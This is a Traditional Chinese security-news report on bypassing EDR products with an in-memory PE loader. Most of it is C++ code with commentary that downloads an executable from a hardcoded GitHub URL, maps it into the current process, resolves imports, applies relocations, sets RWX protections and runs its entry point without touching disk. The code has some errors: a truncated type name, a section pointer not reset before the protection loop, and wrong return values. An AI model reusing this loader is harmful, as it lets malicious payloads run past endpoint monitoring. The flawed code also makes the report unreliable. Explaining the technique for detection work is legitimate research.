摘要

本報告詳述了透過使用記憶體內的可攜式執行檔(Portable Executable,簡稱 PE)載入器來繞過端點偵測與回應(Endpoint Detection and Response,簡稱 EDR)系統的技術機制。報告分析了將 PE 檔案直接下載、解析、分配記憶體並在一個程序記憶體空間內執行,從而規避基於磁碟的偵測方法。報告深入探討了每個階段涉及的程式碼邏輯,包含 PE 標頭解析、匯入函式解析(import resolution)、重新定位應用程式(relocation application)以及記憶體保護調整。目的是針對這種進階規避技術提供全面的技術理解。

檔案不落地!零接觸執行如何擊潰 EDR 防線:In-Memory PE Loader 研究 | 資訊安全新聞

1. 簡介

端點偵測與回應(EDR)解決方案旨在持續監控並應對端點裝置上的網路威脅。然而,老練的對手(sophisticated adversaries)不斷尋求規避這些防禦的方法。其中一種先進技術涉及使用記憶體內的可攜式執行檔(PE)載入器。此方法允許直接從記憶體執行 malicious payload ,繞過主要專注於磁碟 Artifact 和執行模式的傳統 EDR 機制。本報告將深入探討此類載入器的技術細節,並從現有實作的詳細分析中獲取見解 [1]。

2. 記憶體內 PE 載入的高層次概觀

記憶體內 PE 載入器的基本概念是將一個 PE 檔案——像是執行檔(.exe)或動態連結程式庫(.dll)——直接載入到一個已經在執行且受信任的程序的記憶體中執行。這種方法通常被稱為「動態執行」(Dynamic Execution),旨在利用現有程序被賦予的信任來執行額外的、潛在的惡意程式碼,而不會觸發監控檔案系統活動的 EDR 警報 [1]。本報告將剖析此類載入器的方法論,重點關注其運作中涉及的技術步驟。

3. 方法論:記憶體內 PE 載入器的工作流程

記憶體內 PE 載入程序涉及從最初的 payload 獲取到最終執行的幾個關鍵步驟。本節概述了工作流程,下圖也對此進行了視覺化呈現。

graph TD A[Start] --> B{Download PE File to Memory} B --> C{Parse PE Headers} C --> D{Allocate Memory for PE Image} D --> E{Copy PE Headers to Allocated Memory} E --> F{Map Sections to Allocated Memory} F --> G{Resolve Imports} G --> H{Apply Relocations} H --> I{Set Memory Protections} I --> J{Execute Entry Point} J --> K[End]

工作流程可以總結如下 [1]:

  1. 將 PE 檔案下載到記憶體: 載入器首先從遠端來源(通常是網頁伺服器或程式碼儲存庫)擷取一個 64 位元的可攜式執行檔,直接放入一個記憶體緩衝區。
  2. 解析 PE 標頭: 一旦進入記憶體,載入器會解析 PE 檔案的標頭(DOS、NT 和區段標頭),以便了解其結構、進入點和區段佈局。
  3. 為 PE 映像檔分配記憶體: 在目前程序的位址空間內分配一塊連續的記憶體區塊,其大小適當,足以容納整個 PE 映像檔,就像它被 Windows 作業系統載入時的樣子。
  4. 將 PE 標頭複製到已分配的記憶體: 解析後的 PE 標頭從初始記憶體緩衝區複製到新分配的記憶體區域,為記憶體內的執行檔建立了基礎結構。
  5. 將區段對映到已分配的記憶體: PE 檔案的每個區段(例如 .text、.data、.rdata)隨後從記憶體緩衝區複製到已分配記憶體區塊內對應的虛擬位址。
  6. 解析匯入函式: 載入器透過動態載入所需的 DLL 並取得匯入函式的位址,來識別和解析所有外部函式相依性(匯入)。然後這些位址用於修補匯入位址表(Import Address Table,簡稱 IAT)。
  7. 重新定位應用程式: 如果 PE 檔案載入的位址與其首選基底位址不同,載入器會調整 PE 映像檔內所有絕對位址,以反映其實際的載入位址。
  8. 設定記憶體保護: 針對載入的 PE 映像檔的每個區段,應用適當的記憶體保護(例如,讀取、寫入、執行),以確保正確和安全的執行。
  9. 執行進入點: 最後,控制權轉移到 PE 檔案的進入點,開始其在宿主程序的記憶體空間內的執行。

4. 技術剖析:程式碼分析

4.1. 下載 PE

第一步涉及將目標 PE 檔案安全地下載到記憶體中,而不會接觸到磁碟。這通常是透過專為網路通訊設計的 Windows API 函式來實現的。提供的範例利用了 Windows Internet (Wininet) API 來實現此目的 [1]。

  1. bool LoadPEInMemory(){
  2.     const char* agent = "Mozilla/5.0";
  3.     const char* url = "https://github.com/g3tsyst3m/undertheradar/raw/refs/heads/main/putty.exe";
  4.     // ---- Open Internet session ----
  5.     HINTERNET hInternet = InternetOpenA(agent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  6.     if (!hInternet) {
  7.         std::cerr << "InternetOpenA failed: " << GetLastError() << "\n";
  8.         return 1;
  9.     }
  10.     // ---- Open URL ----
  11.     HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_NO_CACHE_WRITE, 0);
  12.     if (!hUrl) {
  13.         std::cerr << "InternetOpenUrlA failed: " << GetLastError() << "\n";
  14.         InternetCloseHandle(hInternet);
  15.         return 1;
  16.     }
  17.     // ---- Read PE Executable into memory ----
  18.     std::vector<BYTE> fileBuffer;
  19.     char chunk[4096];
  20.     DWORD bytesRead = 0;
  21.     while (InternetReadFile(hUrl, chunk, sizeof(chunk), &bytesRead) && bytesRead > 0) {
  22.         fileBuffer.insert(fileBuffer.end(), chunk, chunk + bytesRead);
  23.     }
  24.     InternetCloseHandle(hUrl);
  25.     InternetCloseHandle(hInternet);
  26.     if (fileBuffer.empty()) {
  27.         std::cerr << "[-] Failed to download data.\n";
  28.         return 1;
  29.     }
  30. }

說明:

  • InternetOpenA :使用指定的 使用者代理字串 (例如 "Mozilla/5.0")初始化一個網際網路 Session 。此函式對於建立 HTTP Request 的初始連線至關重要。
  • InternetOpenUrlA :開啟指向原始 PE 檔案(例如 GitHub 上的 putty.exe )的目標 URL。 INTERNET_FLAG_NO_CACHE_WRITE Flag 確保檔案不會寫入本地快取,進一步減少磁碟 Artifact
  • InternetReadFile :以 chunk(例如,一次 4096 位元組)的方式從開啟的 URL 讀取檔案內容。然後,這些 chunk 被附加到一個名為 fileBuffer std::vector<BYTE> 中,該 vector 在記憶體中存放了整個 PE 檔案。

此方法確保了可執行 payload 永遠不會寫入磁碟,這使得 EDR 解決方案透過檔案系統監控來偵測其存在變得更加困難。

4.2. PE 標頭解析

一旦 PE 檔案的原始位元組在 fileBuffer 中,載入器必須解析其標頭,以了解其結構並準備進行記憶體內執行。這涉及定位 DOS 標頭,以及隨後的 NT 標頭,其中包含有關執行檔的重要資訊 [1]。

MAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)fileBuffer.data();
PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)(fileBuffer.data() + dosHeader-&gt;e_lfanew);

說明:

  • PIMAGE_DOS_HEADER dosHeader :DOS 標頭始終位於 PE 檔案的開頭。透過將 fileBuffer 的開頭 型別轉換 PIMAGE_DOS_HEADER ,載入器可以存取其欄位。
  • PIMAGE_NT_HEADERS64 ntHeaders :DOS 標頭中的 e_lfanew 欄位提供了到 NT 標頭的 偏移量 。此偏移量被加到 fileBuffer 的基底位址上,結果被 型別轉換 PIMAGE_NT_HEADERS64 ,以存取 NT 標頭,其中包含 64 位元執行檔的檔案標頭和可選標頭。

這些標頭提供了關鍵的 metadata ,包含區段數量、它們的大小、虛擬位址以及執行檔的進入點。

4.3. 記憶體分配和區段對映

解析標頭後,載入器會分配一個新的記憶體區域來容納 PE 映像檔,然後將其區段對映到這個已分配的空間中,模仿 Windows 載入器的行為 [1]。

4.3.1. 記憶體分配

  1. BYTE* imageBase = (BYTE*)VirtualAlloc(NULL, ntHeaders-&gt;OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  2. if (!imageBase) {
  3.     std::cerr &lt;&lt; "[!] VirtualAlloc failed\n";
  4.     return false;
  5. }

說明:

  • VirtualAlloc :此函式用於在呼叫程序的虛擬位址空間中保留和提交一個頁面區域。分配記憶體的大小由 ntHeaders->OptionalHeader.SizeOfImage 決定,它指定了映像檔載入到記憶體時的總大小。 Flag MEM_COMMIT | MEM_RESERVE 確保記憶體被保留和提交,而 PAGE_READWRITE 設定了初始的讀取/寫入權限。

返回的 imageBase 指標將作為記憶體內 PE 映像檔的基底位址。

4.3.2. 複製標頭

memcpy(imageBase, fileBuffer.data(), ntHeaders->OptionalHeader.SizeOfHeaders); 

說明:

  • memcpy :PE 標頭,包含 DOS 標頭、NT 標頭和區段標頭,從初始的 fileBuffer 複製到新分配的 imageBase 的開頭。複製的 資料 量由 ntHeaders->OptionalHeader.SizeOfHeaders 指定。此步驟對於建立 PE 正確的記憶體內結構至關重要。

4.3.3. 對映區段

  1. PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
  2. std::cout &lt;&lt; "[INFO] Mapping " &lt;&lt; ntHeaders-&gt;FileHeader.NumberOfSections &lt;&lt; " sections...\n";
  3. for (int i = 0; i &lt; ntHeaders-&gt;FileHeader.NumberOfSections; ++i, ++section) {
  4.     char sectionName[IMAGE_SIZEOF_SHORT_NAME + 1] = { 0 };
  5.     strncpy_s(sectionName, reinterpret_cast&lt;const char*&gt;(section-&gt;Name), IMAGE_SIZEOF_SHORT_NAME);
  6.     BYTE* dest = imageBase + section-&gt;VirtualAddress;
  7.     memcpy(dest, fileBuffer.data() + section-&gt;PointerToRawData, section-&gt;SizeOfRawData);
  8. }

說明:

  • 程式碼會遍歷 PE 區段標頭中定義的每個區段。對於每個區段,它會透過加上區段的 VirtualAddress 來計算 imageBase 內部的目標位址。
  • 然後,每個區段的原始 資料 會從其在 fileBuffer 中的 偏移量 section->PointerToRawData )複製到已分配 imageBase 中對應的虛擬位址。此 程序 有效地重建了 PE 的記憶體佈局,包括程式碼、已初始化的 資料 和其他資源。

4.4. 解析匯入函式

PE 檔案通常依賴於其他 DLL 提供的函式。記憶體內載入器必須解析這些匯入函式,這意味著它需要找到這些外部函式的實際記憶體位址,並相應地更新 PE 的匯入位址表(IAT)[1]。

  1. // Resolving Imports
  2. if (ntHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) {
  3.     PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(imageBase + ntHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
  4.     while (importDescriptor-&gt;Name) {
  5.         LPCSTR libraryName = (LPCSTR)(imageBase + importDescriptor-&gt;Name);
  6.         HMODULE hLibrary = LoadLibraryA(libraryName);
  7.         if (!hLibrary) {
  8.             std::cerr &lt;&lt; "[!] LoadLibraryA failed for " &lt;&lt; libraryName &lt;&lt; "\n";
  9.             return false;
  10.         }
  11.         PIMAGE_THUNK_DATA originalFirstThunk = (PIMAGE_THUNK_DATA)(imageBase + importDescriptor-&gt;OriginalFirstThunk);
  12.         PIMAGE_THUNK_DATA firstThunk = (PIMAGE_THUNK_DATA)(imageBase + importDescriptor-&gt;FirstThunk);
  13.         while (originalFirstThunk-&gt;u1.AddressOfData) {
  14.             if (originalFirstThunk-&gt;u1.Ordinal &amp; IMAGE_ORDINAL_FLAG) {
  15.                 // Import by ordinal
  16.                 LPCSTR functionOrdinal = (LPCSTR)(originalFirstThunk-&gt;u1.Ordinal &amp; 0xFFFF);
  17.                 firstThunk-&gt;u1.Function = (ULONGLONG)GetProcAddress(hLibrary, functionOrdinal);
  18.             } else {
  19.                 // Import by name
  20.                 PIMAGE_IMPORT_BY_NAME importByName = (PIMAGE_IMPORT_BY_NAME)(imageBase + originalFirstThunk-&gt;u1.AddressOfData);
  21.                 firstThunk-&gt;u1.Function = (ULONGLONG)GetProcAddress(hLibrary, importByName-&gt;Name);
  22.             }
  23.             if (!firstThunk-&gt;u1.Function) {
  24.                 std::cerr &lt;&lt; "[!] GetProcAddress failed\n";
  25.                 return false;
  26.             }
  27.             originalFirstThunk++;
  28.             firstThunk++;
  29.         }
  30.         importDescriptor++;
  31.     }
  32. }

說明:

  • 程式碼首先檢查 IMAGE_DIRECTORY_ENTRY_IMPORT 資料 目錄以獲取匯入資訊。然後,它遍歷每個 IMAGE_IMPORT_DESCRIPTOR ,每個 Descriptor 代表一個 PE 匯入函式的 DLL。
  • 對於每個 DLL,呼叫 LoadLibraryA 將程式庫載入到目前程序的位址空間。
  • 載入器隨後遍歷 OriginalFirstThunk (匯入名稱表)和 FirstThunk (匯入位址表)陣列。對於每個匯入的函式,它確定它是透過 序數(ordinal) 還是名稱匯入。
  • GetProcAddress 用於從載入的 DLL 中取得函式的實際記憶體位址。然後,此位址被寫入 FirstThunk 陣列中對應的進入點,有效地修補了 IAT。這確保了當載入的 PE 嘗試呼叫匯入的函式時,它能正確地跳轉到載入的 DLL 中的函式位址。

4.5. 應用程式重新定位

PE 檔案通常以一個首選基底位址進行編譯。如果作業系統載入器無法在該首選位址載入 PE(例如,由於位址空間衝突),它會將其載入到不同的基底位址並執行重新定位。記憶體內載入器必須複製此行為以確保 PE 正確執行 [1]。

  1. // Applying Relocations
  2. ULONGLONG delta = (ULONGLONG)(imageBase - ntHeaders-&gt;OptionalHeader.ImageBase);
  3. if (delta != 0) {
  4.     if (ntHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) {
  5.         PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)(imageBase + ntHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
  6.         while (baseRelocation-&gt;SizeOfBlock) {
  7.             PWORD relocationEntry = (PWORD)(baseRelocation + 1);
  8.             int numberOfRelocations = (baseRelocation-&gt;SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
  9.             for (int i = 0; i &lt; numberOfRelocations; i++) {
  10.                 WORD type = (*relocationEntry &gt;&gt; 12);
  11.                 WORD offset = (*relocationEntry &amp; 0x0FFF);
  12.                 if (type == IMAGE_REL_BASED_DIR64) {
  13.                     ULONGLONG* address = (ULONGLONG*)(imageBase + baseRelocation-&gt;VirtualAddress + offset);
  14.                     *address += delta;
  15.                 }
  16.                 relocationEntry++;
  17.             }
  18.             baseRelocation = (PIMAGE_BASE_RELOCATION)((PBYTE)baseRelocation + baseRelocation-&gt;SizeOfBlock);
  19.         }
  20.     }
  21. }

說明:

  • ULONGLONG delta :此變數計算實際載入位址( imageBase )與 PE 首選基底位址( ntHeaders->OptionalHeader.ImageBase )之間的差異。如果此 delta 非零,則需要進行重新定位。
  • 程式碼隨後存取 IMAGE_DIRECTORY_ENTRY_BASERELOC 資料 目錄,其中包含需要應用所有修復的資訊。它遍歷每個 IMAGE_BASE_RELOCATION 區塊。
  • 每個重新定位區塊包含一系列 WORD 進入點。每個進入點指定一個 type 和一個 偏移量 。對於 64 位元執行檔,相關的 類型 通常是 IMAGE_REL_BASED_DIR64
  • 對於每個 IMAGE_REL_BASED_DIR64 進入點,載入器計算需要調整的絕對位址( imageBase + baseRelocation->VirtualAddress + offset ),並將計算出的 delta 加到其上。這校正了 PE 內部所有 hardcoded 絕對位址,以反映其在記憶體中的實際載入位置。

4.6. 設定記憶體保護和執行進入點

最後階段涉及為載入的區段設定適當的記憶體保護,並將執行權轉移到 PE 的進入點 [1]。

4.6.1. 設定記憶體保護

  1. // Set memory protections
  2. for (int i = 0; i &lt; ntHeaders-&gt;FileHeader.NumberOfSections; ++i, ++section) {
  3.     DWORD oldProtect;
  4.     DWORD newProtect = 0;
  5.     if (section-&gt;Characteristics &amp; IMAGE_SCN_MEM_EXECUTE) {
  6.         newProtect = PAGE_EXECUTE_READWRITE;
  7.     } else if (section-&gt;Characteristics &amp; IMAGE_SCN_MEM_READ) {
  8.         newProtect = PAGE_READONLY;
  9.     } else if (section-&gt;Characteristics &amp; IMAGE_SCN_MEM_WRITE) {
  10.         newProtect = PAGE_READWRITE;
  11.     }
  12.     if (newProtect != 0) {
  13.         VirtualProtect(imageBase + section-&gt;VirtualAddress, section-&gt;Misc.VirtualSize, newProtect, &amp;oldProtect);
  14.     }
  15. }

說明:

  • 程式碼遍歷載入的 PE 的每個區段。根據區段的特性(例如, IMAGE_SCN_MEM_EXECUTE 用於可執行程式碼, IMAGE_SCN_MEM_READ 用於唯讀資料 IMAGE_SCN_MEM_WRITE 用於可寫入資料),它決定了適當的記憶體保護 Flag(例如, PAGE_EXECUTE_READWRITE PAGE_READONLY PAGE_READWRITE )。
  • 然後呼叫 VirtualProtect 為每個區段應用這些計算出的保護。這確保了程式碼區段是可執行的,資料區段是可寫入的(如果預期如此),其他區段具有適當的讀取權限,從而維護了載入的執行檔的完整性和安全性。

4.6.2. 執行進入點

  1. // Execute entry point
  2. if (ntHeaders-&gt;OptionalHeader.AddressOfEntryPoint) {
  3.     typedef void (*EntryPoint)();
  4.     EntryPoint entryPoint = (EntryPoint)(imageBase + ntHeaders-&gt;OptionalHeader.AddressOfEntryPoint);
  5.     entryPoint();
  6. }

說明:

  • NT 標頭可選標頭中的 AddressOfEntryPoint 欄位指定了 PE 進入點的相對虛擬位址(Relative Virtual Address, RVA)。
  • 載入器透過將此 RVA 加到 imageBase 來計算進入點的絕對記憶體位址。
  • 然後,將一個函式指標 EntryPoint 型別轉換為此位址,呼叫 entryPoint() 會將控制權轉移到載入的 PE,從而開始其在目前程序內的執行。

5. 結論

記憶體內 PE 載入技術代表了一種複雜的方法,透過直接從記憶體執行任意 PE 檔案來繞過端點偵測與回應(EDR)解決方案。這種方法利用了對現有程序的信任,允許 malicious payload 運行而不會留下 EDR 通常會監控的傳統基於磁碟的 Artifact。程式碼的詳細分析展示了所涉及的複雜步驟:從將 PE 檔案下載到記憶體、解析其標頭、分配專用記憶體、對映其區段、解析外部匯入函式、應用必要的重新定位,到最終設定適當的記憶體保護並執行其進入點。此技術突顯了網路安全中規避戰術的持續演進,並強調了 EDR 解決方案採用更進階的行為和基於記憶體的偵測機制來應對此類威脅的必要性。